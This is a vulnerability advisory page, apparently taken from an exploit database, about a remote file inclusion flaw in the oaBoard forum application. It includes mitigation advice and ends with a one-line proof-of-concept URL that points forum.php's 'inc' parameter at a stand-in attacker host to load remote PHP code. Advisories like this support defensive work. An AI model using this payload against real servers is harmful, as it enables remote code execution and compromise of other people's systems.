header-logo
Suggest Exploit
vendor:
oaBoard Application
by:
Unknown
7.5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: oaBoard Application
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Remote File Include Vulnerability in oaBoard Application

The oaBoard application is prone to a remote file-include vulnerability. As a result, remote users may specify external PHP scripts to be included by the application. This could result in the execution of arbitrary PHP code in the context of the webserver hosting the application.

Mitigation:

To mitigate this vulnerability, it is recommended to validate and sanitize user input before including files in the application. Implementing proper input validation and using whitelisting techniques can prevent the inclusion of malicious files.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/16105/info

The oaBoard application is prone to a remote file-include vulnerability. As a result, remote users may specify external PHP scripts to be included by the application.

This could result in the execution of arbitrary PHP code in the context of the webserver hosting the application. 

http://oaboard.example.com/oaboard_en/forum.php?inc=http://attacker.example.com/code.php

Navigation

Suggest Exploit

Services By CQR